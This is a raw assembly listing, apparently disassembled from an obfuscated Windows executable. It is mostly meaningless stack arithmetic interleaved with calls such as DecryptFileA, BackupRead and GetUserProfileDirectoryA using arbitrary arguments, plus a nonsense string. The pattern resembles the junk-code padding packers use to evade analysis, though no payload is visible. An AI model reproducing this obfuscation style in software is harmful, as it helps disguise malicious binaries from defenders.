movzx eax, word [rax]
mov rcx, qword [rsp + 0x9ed0]
movzx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0xf54], ax
mov rax, qword [rsp + 0xae38]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7398]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9490]
mov word [rcx], ax
mov rax, qword [rsp + 0x7a08]
mov qword [rsp + 0xb6e8], rax
mov rax, qword [rsp + 0x7ca0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9e30]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8c10], rax
mov rax, qword [rsp + 0xb440]
mov eax, dword [rax]
mov dword [rsp + 0x4490], eax
mov rax, qword [rsp + 0x9520]
mov ecx, dword [rsp + 0x3cd0]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xb538]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9100]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7ab0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x14017ae40]
mov word [rcx], ax
movsx eax, word [0x14017912c]
mov rcx, qword [rsp + 0x6e50]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xfc8], ax
movzx eax, byte [rsp + 0xc2]
mov byte [rsp + 0x27c], al
movzx eax, byte [rsp + 0x1f5]
mov rcx, qword [rsp + 0x7080]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xb698]
mov byte [rcx], al
lea rax, [0x14017907b]
mov qword [rsp + 0xb6f0], rax
mov rax, qword [rsp + 0x9c88]
mov rcx, qword [rsp + 0x7050]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x9cc8], rax
mov rax, qword [rsp + 0x74c0]
mov rcx, qword [rsp + 0x6d70]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9900]
mov qword [rcx], rax
mov eax, dword [0x140179004]
mov dword [rsp + 0x4494], eax
mov rax, qword [rsp + 0xb548]
mov ecx, dword [rsp + 0x43fc]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x9a58]
mov dword [rcx], eax
lea rax, [rsp + 0xc44]
mov qword [0x14017aeb0], rax
lea rax, [rsp + 0xf84]
mov qword [rsp + 0xb6f8], rax
mov rax, qword [0x14017a9b0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc38]
sar eax, cl
mov rcx, qword [rsp + 0x9878]
mov word [rcx], ax
movzx eax, word [rsp + 0xeb4]
mov word [rsp + 0x14cc], ax
mov rax, qword [rsp + 0x8560]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x259]
xor eax, ecx
mov rcx, qword [rsp + 0x6c48]
mov byte [rcx], al
mov rax, qword [rsp + 0x94a8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x9370]
shl rax, cl
mov rcx, qword [rsp + 0x8878]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8e60]
mov eax, dword [rax]
mov dword [rsp + 0x4498], eax
mov eax, dword [0x14017a4d0]
mov ecx, dword [rsp + 0x41a0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3fac], eax
mov rax, qword [rsp + 0x88f8]
mov rax, qword [rax]
mov qword [rsp + 0xb700], rax
mov rax, qword [rsp + 0xaf40]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7028]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [0x14017a600]
mov byte [rcx], al
movzx eax, byte [rsp + 0x131]
mov rcx, qword [rsp + 0x8328]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x6e], al
mov rax, qword [rsp + 0x8c00]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7cf8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x86], al
movzx eax, word [rsp + 0xc64]
mov word [rsp + 0x14d0], ax
movzx eax, word [rsp + 0x1304]
mov rcx, qword [0x14017ad50]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xcb8], ax
mov rax, qword [rsp + 0xab38]
mov qword [rsp + 0xb708], rax
mov rax, qword [rsp + 0x6f08]
mov ecx, dword [rsp + 0x42e4]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x6f78]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb680]
mov rcx, qword [rsp + 0x9248]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xa598], rax
lea rax, [rsp + 0x3b68]
mov qword [rsp + 0xb710], rax
mov rax, qword [rsp + 0x8fa8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1a0]
add eax, ecx
mov rcx, qword [0x14017a7a8]
mov byte [rcx], al
movzx eax, word [0x14017908c]
mov rcx, qword [rsp + 0x73a0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1360], ax
lea rax, [rsp + 0x12a4]
mov qword [rsp + 0xb718], rax
movsx eax, byte [rsp + 0x1b0]
movsx ecx, byte [rsp + 0x10c]
and eax, ecx
mov rcx, qword [rsp + 0xb418]
mov byte [rcx], al
mov rax, qword [0x14017ae00]
movzx eax, byte [rax]
mov byte [rsp + 0x27d], al
mov rax, qword [rsp + 0x9bd0]
mov ecx, dword [rsp + 0x4184]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x9020]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9288]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x40a8]
sar eax, cl
mov dword [rsp + 0x3b2c], eax
mov rax, qword [rsp + 0x8c08]
mov rax, qword [rax]
mov qword [rsp + 0xb720], rax
mov rax, qword [rsp + 0x8410]
mov rcx, qword [rsp + 0x6e20]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xa2d0], rax
movzx eax, word [rsp + 0x1230]
mov word [rsp + 0x14d4], ax
lea rax, [0x140179097]
mov qword [0x14017aeb8], rax
mov rax, qword [rsp + 0x7a90]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf80]
shl eax, cl
mov rcx, qword [rsp + 0x78b8]
mov word [rcx], ax
movsx eax, byte [rsp + 0x21c]
movsx ecx, byte [rsp + 0x51]
sub eax, ecx
mov rcx, qword [rsp + 0x7130]
mov byte [rcx], al
movzx eax, word [rsp + 0x1420]
mov word [rsp + 0x14d8], ax
mov rax, qword [rsp + 0xb710]
mov ecx, dword [rsp + 0x4448]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3cb0], eax
mov rax, qword [rsp + 0x8dc8]
mov rax, qword [rax]
mov qword [rsp + 0xb728], rax
mov rax, qword [rsp + 0x7968]
mov ecx, dword [0x14017a4d0]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3f7c], eax
mov rax, qword [rsp + 0xa5f8]
mov rcx, qword [rsp + 0xa8d8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9cf8], rax
lea rax, [rsp + 0x56]
mov qword [rsp + 0xb730], rax
lea rax, [rsp + 0x7c]
mov qword [0x14017aec0], rax
movzx eax, word [rsp + 0xce8]
movzx ecx, word [rsp + 0x1194]
add eax, ecx
mov word [rsp + 0x12e0], ax
lea rax, [rsp + 0x253]
mov qword [rsp + 0xb738], rax
mov rax, qword [rsp + 0x7bb8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf14]
sub eax, ecx
mov word [rsp + 0x1100], ax
mov eax, dword [rsp + 0x4250]
mov ecx, dword [rsp + 0x3cb4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa410]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8c80]
mov rax, qword [rax]
mov qword [rsp + 0xb740], rax
mov rax, qword [rsp + 0x9900]
mov rcx, qword [rsp + 0xac58]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x7558], rax
mov eax, dword [rsp + 0x4258]
mov dword [rsp + 0x449c], eax
movzx eax, word [rsp + 0xd18]
movzx ecx, word [rsp + 0x149c]
add eax, ecx
mov rcx, qword [rsp + 0x8820]
mov word [rcx], ax
movsx eax, byte [rsp + 0xc6]
mov rcx, qword [rsp + 0x86a0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x14017904e], al
movzx eax, word [rsp + 0xe98]
mov word [rsp + 0x14dc], ax
movsx eax, byte [rsp + 0x1fa]
movsx ecx, byte [rsp + 0x1f6]
sub eax, ecx
mov byte [rsp + 0x1a8], al
movzx eax, word [rsp + 0x1190]
movzx ecx, word [rsp + 0xcb8]
or eax, ecx
mov rcx, qword [rsp + 0x8170]
mov word [rcx], ax
lea rax, [rsp + 0x3e44]
mov qword [rsp + 0xb748], rax
mov rax, qword [rsp + 0x8658]
mov rcx, qword [rsp + 0x9e78]
mov qword [rsp + 0xb750], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb750]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xaf80], rax
lea rax, [rsp + 0x95a0]
mov qword [rsp + 0xb758], rax
mov rax, qword [rsp + 0xaff8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x6d10]
mov qword [rsp + 0xb760], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb760]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x8b00]
mov dword [rcx], eax
movzx eax, word [rsp + 0x13a4]
mov rcx, qword [rsp + 0x80c8]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1258], ax
mov rax, qword [rsp + 0xb020]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x109c]
and eax, ecx
mov word [0x1401791cc], ax
lea rax, [rsp + 0x24f]
mov qword [rsp + 0xb768], rax
movzx eax, byte [rsp + 0x267]
movzx ecx, byte [rsp + 0x1da]
add eax, ecx
mov byte [rsp + 0x21f], al
lea rax, [0x140179023]
mov qword [rsp + 0xb770], rax
mov rax, qword [rsp + 0x8d50]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9800]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8070]
mov byte [rcx], al
mov rax, qword [rsp + 0x6d88]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4224]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3bf4], eax
mov rax, qword [rsp + 0x7680]
mov eax, dword [rax]
mov dword [rsp + 0x44a0], eax
mov rax, qword [rsp + 0x6f30]
mov rcx, qword [rsp + 0x8240]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9880]
mov qword [rcx], rax
lea rax, [rsp + 0x7668]
mov qword [rsp + 0xb778], rax
movzx eax, word [rsp + 0x148c]
mov rcx, qword [0x14017a830]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1401790f0], ax
mov rax, qword [rsp + 0x7190]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7870]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x227], al
movzx eax, word [rsp + 0xf1c]
mov word [rsp + 0x14e0], ax
mov rax, qword [0x14017aba8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9218]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xdd8], ax
movsx eax, byte [rsp + 0x1ae]
mov rcx, qword [rsp + 0xa090]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8b88]
mov byte [rcx], al
mov rax, qword [rsp + 0xa5e0]
mov qword [rsp + 0xb780], rax
mov rax, qword [rsp + 0x99e8]
mov eax, dword [rax]
mov ecx, dword [section..data]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x4440], eax
lea rax, [rsp + 0x4344]
mov qword [rsp + 0xb788], rax
mov rax, qword [rsp + 0x8b90]
mov rcx, qword [rsp + 0x7740]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x9ec0], rax
movzx eax, byte [rsp + 0x272]
mov rcx, qword [rsp + 0xab80]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [0x14017a6ba], al
movsx eax, word [rsp + 0xe8c]
mov rcx, qword [rsp + 0x7b80]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xa038]
mov word [rcx], ax
lea rax, [rsp + 0xd6]
mov qword [rsp + 0xb790], rax
movzx eax, word [rsp + 0x1318]
movzx ecx, word [rsp + 0xf30]
imul eax, ecx
mov rcx, qword [rsp + 0xb0c8]
mov word [rcx], ax
lea rax, [rsp + 0x12f4]
mov qword [rsp + 0xb798], rax
mov rax, qword [rsp + 0xa2a0]
mov rcx, qword [rsp + 0xafd0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xb670]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9fe0]
mov rcx, qword [rsp + 0x9fd0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa4d8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7eb8]
mov qword [rsp + 0xb7a0], rax
mov rax, qword [0x14017a4d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x43b0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3c1c], eax
mov rax, qword [rsp + 0xa278]
movzx eax, word [rax]
mov word [0x14017aec8], ax
lea rax, [rsp + 0x1ef]
mov qword [rsp + 0xb7a8], rax
mov rax, qword [rsp + 0x9c80]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xb6]
add eax, ecx
mov rcx, qword [rsp + 0x8f88]
mov byte [rcx], al
mov rax, qword [rsp + 0x9f28]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x12e0]
add eax, ecx
mov word [rsp + 0x13f0], ax
mov rax, qword [rsp + 0x8120]
movzx eax, byte [rax]
mov byte [rsp + 0x27e], al
mov rax, qword [rsp + 0x7e38]
mov ecx, dword [rsp + 0x4258]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3f24], eax
mov rax, qword [rsp + 0x7210]
mov rax, qword [rsp + 0x69d8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc18]
sub eax, ecx
mov word [rsp + 0xc08], ax
mov rax, qword [rsp + 0x6b68]
movzx r9d, word [rax]
movzx r8d, word [rsp + 0xc24]
mov rax, qword [rsp + 0x6b10]
movzx edx, word [rax]
mov ecx, dword [rsp + 0x3abc]
call fcn.14015ebc0
nop
jmp 0x14015ddf9
mov rax, qword [rsp + 0x6a40]
movzx eax, byte [rax]
mov byte [rsp + 0x6984], al
cmp byte [rsp + 0x6984], 0x96
je 0x14015dd85
jmp 0x14015ddad
lea r9, [rsp + 0x3b0c]
mov r8d, 0xbc
lea rdx, [rsp + 0x1ffc8]
mov ecx, 0x83
call qword [sym.imp.KERNEL32.dll_GetStringTypeW]
mov dword [rsp + 0x6988], eax
mov rax, qword [rsp + 0x6aa0]
mov rcx, qword [rsp + 0x6a50]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x6aa0]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x40]
movzx ecx, byte [rsp + 0x42]
xor eax, ecx
mov byte [rsp + 0x45], al
mov eax, dword [section..data]
movzx ecx, al
mov eax, dword [rsp + 0x3bc8]
shr eax, cl
mov rcx, qword [0x14017a4d8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6a18]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc20]
and eax, ecx
mov rcx, qword [rsp + 0x6b10]
mov word [rcx], ax
mov rax, qword [rsp + 0x6b10]
movsx eax, word [rax]
mov dword [rsp + 0x698c], eax
cmp dword [rsp + 0x698c], 0x701
je 0x14015de3a
jmp 0x14015de58
mov rax, qword [rsp + 0x6a48]
mov rcx, qword [rsp + 0x69b0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x6a68], rax
mov rax, qword [rsp + 0x69d8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc18]
add eax, ecx
mov word [rsp + 0xc08], ax
mov rax, qword [rsp + 0x6a20]
mov rcx, qword [rsp + 0x6a48]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x6b58]
mov rdx, qword [rsp + 0x6ae8]
mov rdx, qword [rdx]
mov rcx, qword [rcx]
add rcx, rdx
cmp rax, rcx
ja 0x14015deca
lea rdx, [rsp + 0x3abc]
mov rcx, qword [rsp + 0x69f8]
call sub.VERSION.dll_GetFileVersionInfoSizeA
mov dword [rsp + 0x3b14], eax
jmp 0x14015df6a
mov rax, qword [rsp + 0x6bd0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc10]
add eax, ecx
movzx ecx, word [rsp + 0xc24]
movzx edx, word [rsp + 0xc0c]
sub ecx, edx
cmp eax, ecx
jg 0x14015df6a
mov eax, dword [rsp + 0x3b2c]
mov ecx, dword [rsp + 0x3b58]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3abc], eax
mov rax, qword [rsp + 0x6aa0]
mov rcx, qword [rsp + 0x6a70]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x6aa0]
mov qword [rcx], rax
mov dword [rsp + 0x28], 0xdc
lea rax, [rsp + 0x20020]
mov qword [rsp + 0x20], rax
lea r9, str.sucking_intercommunication_Mother_isotopic_Minces
lea r8, [rsp + 0x6a48]
mov edx, 0x6b
mov ecx, 0x9a
call qword [sym.imp.KERNEL32.dll_GetDateFormatA]
mov dword [rsp + 0x3b2c], eax
mov r9d, 0xa5
lea r8, [rsp + 0x1ffd0]
lea rdx, [fcn.14015ec30]
mov rcx, qword [rsp + 0x6b48]
call sub.COMCTL32.dll_SetWindowSubclass
mov dword [rsp + 0x3af8], eax
mov rcx, qword [rsp + 0x6b48]
call qword [sym.imp.COMCTL32.dll_MakeDragList]
mov dword [rsp + 0x3ad4], eax
mov rax, qword [rsp + 0x6b68]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x69d8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6a18]
mov word [rcx], ax
mov rax, qword [rsp + 0x6a10]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6a40]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x40], al
mov rdx, qword [rsp + 0x6a68]
mov rcx, qword [rsp + 0x6a68]
call fcn.14015f630
nop
jmp 0x14015e079
movzx eax, byte [rsp + 0x40]
mov rcx, qword [rsp + 0x6a40]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x69b8]
mov byte [rcx], al
xor r8d, r8d
mov rdx, qword [rsp + 0x1ffd0]
mov rcx, qword [rsp + 0x6b88]
call qword [sym.imp.COMCTL32.dll_LBItemFromPt]
mov dword [rsp + 0x3b58], eax
mov rax, qword [rsp + 0x6aa0]
mov rcx, qword [rsp + 0x6a70]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6a50], rax
mov r8, qword [rsp + 0x6a50]
mov edx, dword [rsp + 0x3b94]
mov rax, qword [rsp + 0x6a38]
movzx ecx, word [rax]
call fcn.14015ec30
nop
mov rax, qword [rsp + 0x6b30]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6a38]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xc14], ax
movsx eax, word [rsp + 0xc18]
mov rcx, qword [rsp + 0x6b10]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6b40]
movsx ecx, word [rcx]
mov rdx, qword [rsp + 0x69d8]
movsx edx, word [rdx]
add ecx, edx
cmp eax, ecx
jne 0x14015e156
movzx eax, byte [rsp + 0x40]
mov byte [rsp + 0x6990], al
cmp byte [rsp + 0x6990], 0xf3
je 0x14015e0e6
jmp 0x14015e138
mov rax, qword [rsp + 0x6b00]
mov rcx, qword [rsp + 0x6ac0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x6b00]
mov dword [rcx], eax
mov rax, qword [rsp + 0x69d8]
movzx r9d, word [rax]
movzx r8d, word [rsp + 0xc24]
mov rax, qword [rsp + 0x6b40]
movzx edx, word [rax]
mov rax, qword [rsp + 0x6af8]
mov ecx, dword [rax]
call fcn.14015ebc0
nop
jmp 0x14015e156
mov rax, qword [rsp + 0x6ae8]
mov rcx, qword [rsp + 0x6a48]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x69b0], rax
jmp 0x14015e1a4
mov rax, qword [rsp + 0x6a20]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6a48]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x6a68], rax
mov r9, qword [rsp + 0x6a70]
mov rax, qword [rsp + 0x6ad0]
mov r8d, dword [rax]
mov rax, qword [rsp + 0x6a28]
mov edx, dword [rax]
mov rcx, qword [rsp + 0x6a70]
call fcn.14015f140
nop
mov eax, dword [rsp + 0x3b64]
mov rcx, qword [0x14017a4d8]
mov qword [rsp + 0x1ffd8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1ffd8]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x3b14], eax
mov r9d, 0x1d
mov r8d, 0x55
mov edx, 0x2f
mov rcx, qword [rsp + 0x6b88]
call sub.COMCTL32.dll_DefSubclassProc
mov qword [rsp + 0x1ffc8], rax
mov eax, dword [rsp + 0x3b2c]
movzx ecx, al
mov eax, dword [rsp + 0x3af0]
shl eax, cl
mov rcx, qword [rsp + 0x6af8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6ad0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x6af8]
mov qword [rsp + 0x1ffe0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1ffe0]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x6b00]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6ae8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6ad8]
mov qword [rsp + 0x1ffe8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1ffe8]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x69b0], rax
lea r8, [rsp + 0x20010]
lea rdx, [rsp + 0x20050]
lea rcx, [rsp + 0x6a10]
call sub.gdiplus.dll_GdiplusStartup
mov dword [rsp + 0x3b14], eax
jmp 0x14015e348
mov rax, qword [rsp + 0x6a18]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x69d8]
movsx ecx, word [rcx]
sar eax, cl
movsx ecx, word [rsp + 0xc18]
movsx edx, word [rsp + 0xc08]
add ecx, edx
cmp eax, ecx
jne 0x14015e2e9
mov rax, qword [0x14017a4d8]
mov ecx, dword [rsp + 0x3b64]
mov eax, dword [rax]
add eax, ecx
mov dword [section..data], eax
movsx eax, word [rsp + 0xc20]
movsx ecx, word [rsp + 0xc18]
add eax, ecx
mov word [rsp + 0xc08], ax
movzx eax, word [rsp + 0xc0c]
mov rcx, qword [rsp + 0x6a38]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x69e0]
mov word [rcx], ax
lea r8, [rsp + 0x6a50]
mov rdx, qword [rsp + 0x6b08]
mov rcx, qword [rsp + 0x69d0]
call qword [sym.imp.USERENV.dll_GetUserProfileDirectoryA]
mov dword [rsp + 0x3aec], eax
movsx eax, byte [rsp + 0x44]
mov rcx, qword [rsp + 0x6ab0]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6a78]
mov byte [rcx], al
mov edx, 0xc5
mov rcx, qword [rsp + 0x6a00]
call qword [sym.imp.ADVAPI32.dll_DecryptFileA]
mov dword [rsp + 0x3ad4], eax
movzx eax, word [rsp + 0xc0c]
mov rcx, qword [rsp + 0x69e0]
movzx ecx, word [rcx]
imul eax, ecx
movzx ecx, word [rsp + 0xc10]
movzx edx, word [rsp + 0xc14]
or ecx, edx
cmp eax, ecx
jge 0x14015e3fb
mov rax, qword [rsp + 0x6a10]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x40]
shl eax, cl
mov byte [rsp + 0x42], al
mov rax, qword [rsp + 0x6ab0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6a78]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x6ab0]
mov byte [rcx], al
mov rax, qword [rsp + 0x6ae8]
mov rdx, qword [rax]
mov rcx, qword [rsp + 0x6a68]
call fcn.14015f630
nop
mov rax, qword [rsp + 0x6a10]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x40]
sub eax, ecx
movzx ecx, byte [rsp + 0x42]
mov dword [rsp + 0x6994], ecx
mov rdx, qword [rsp + 0x6a40]
movzx edx, byte [rdx]
movzx ecx, dl
mov edx, dword [rsp + 0x6994]
sar edx, cl
mov ecx, edx
cmp eax, ecx
jg 0x14015e49d
movsx eax, word [rsp + 0xc08]
mov dword [rsp + 0x6998], eax
cmp dword [rsp + 0x6998], 0x459
je 0x14015e454
jmp 0x14015e48d
movzx eax, byte [rsp + 0x42]
movzx ecx, byte [0x140179008]
or eax, ecx
mov byte [rsp + 0x40], al
mov rax, qword [rsp + 0x6aa0]
mov r8, qword [rax]
mov rax, qword [0x14017a4d8]
mov edx, dword [rax]
mov rax, qword [rsp + 0x6a38]
movzx ecx, word [rax]
call fcn.14015ec30
nop
jmp 0x14015e49b
call qword [sym.imp.KERNEL32.dll_GetSystemDefaultLCID]
mov word [rsp + 0xc24], ax
jmp 0x14015e4bd
mov rax, qword [rsp + 0x6a38]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc10]
and eax, ecx
mov rcx, qword [rsp + 0x6a38]
mov word [rcx], ax
jmp 0x14015e4ea
mov rax, qword [rsp + 0x6aa0]
mov r9, qword [rax]
mov r8d, dword [rsp + 0x3b4c]
mov rax, qword [rsp + 0x6a28]
mov edx, dword [rax]
mov rcx, qword [rsp + 0x6a70]
call fcn.14015f140
nop
mov rax, qword [rsp + 0x6aa0]
mov rcx, qword [rsp + 0x6a70]
mov rax, qword [rax]
add rax, rcx
cmp rax, qword [rsp + 0x6a50]
jge 0x14015e5a2
call qword [sym.imp.KERNEL32.dll_GetSystemDefaultUILanguage]
movzx eax, ax
mov dword [rsp + 0x3af0], eax
movsx eax, word [rsp + 0xc08]
mov rcx, qword [rsp + 0x6a18]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x69d8]
mov word [rcx], ax
mov rax, qword [rsp + 0x6a78]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6a58]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x43], al
lea rax, [rsp + 0x69e0]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 1
mov dword [rsp + 0x20], 0
lea r9, [rsp + 0x6a78]
mov r8d, 0xef
lea rdx, [rsp + 0x6a38]
mov rcx, qword [rsp + 0x6a98]
call qword [sym.imp.KERNEL32.dll_BackupRead]
mov dword [rsp + 0x3ba4], eax
mov rdx, qword [rsp + 0x6a68]
mov rax, qword [rsp + 0x6a20]
mov rcx, qword [rax]
call fcn.14015f630
nop
jmp 0x14015e643
mov rax, qword [rsp + 0x6a20]
mov rcx, qword [rsp + 0x69b0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x6a20]
mov qword [rcx], rax
mov edx, 0x24
mov rcx, qword [rsp + 0x69d0]
call qword [sym.imp.KERNEL32.dll_GetConsoleFontSize]
mov dword [rsp + 0x699c], eax
mov eax, dword [rsp + 0x699c]
mov dword [rsp + 0x3b60], eax
mov rax, qword [rsp + 0x6a28]
mov ecx, dword [rsp + 0x3b4c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3abc], eax
movzx eax, word [rsp + 0xc10]
mov rcx, qword [rsp + 0x69e0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6a38]
mov word [rcx], ax
lea rax, [rsp + 0x69c0]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x3b60]
lea r8, [rsp + 0x69b8]
mov edx, 0x5e
mov rcx, qword [rsp + 0x69c8]
call qword [sym.imp.KERNEL32.dll_GetTapePosition]
mov dword [rsp + 0x3b68], eax
mov rax, qword [rsp + 0x6a10]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x69b8]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x6a40]
mov byte [rcx], al
mov rax, qword [rsp + 0x6a20]
mov rcx, qword [rsp + 0x6a68]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x6a48], rax
mov ecx, 0xf
call qword [sym.imp.KERNEL32.dll_Sleep]
movabs rax, 0x79172529eee5ee
mov rcx, qword [rsp + 0x6a50]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6a70], rax
mov r9, qword [rsp + 0x6a50]
mov r8d, dword [rsp + 0x3b2c]
mov rax, qword [rsp + 0x6a28]
mov edx, dword [rax]
mov rcx, qword [rsp + 0x6a70]
call fcn.14015f140
nop
mov r8, qword [rsp + 0x6a50]
mov edx, dword [rsp + 0x3b14]
mov rax, qword [rsp + 0x6a38]
movzx ecx, word [rax]
call fcn.14015ec30
nop
jmp 0x14015e930
mov rax, qword [rsp + 0x6a28]
mov ecx, dword [rsp + 0x3abc]
imul ecx, dword [rax]
mov eax, ecx
mov ecx, dword [rsp + 0x3b34]
mov edx, dword [rsp + 0x3af0]
add edx, ecx
mov ecx, edx
cmp eax, ecx
jge 0x14015e930
mov rax, qword [rsp + 0x6a48]
mov rcx, qword [rsp + 0x69b0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6a20]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6a20]
mov rax, qword [rax]
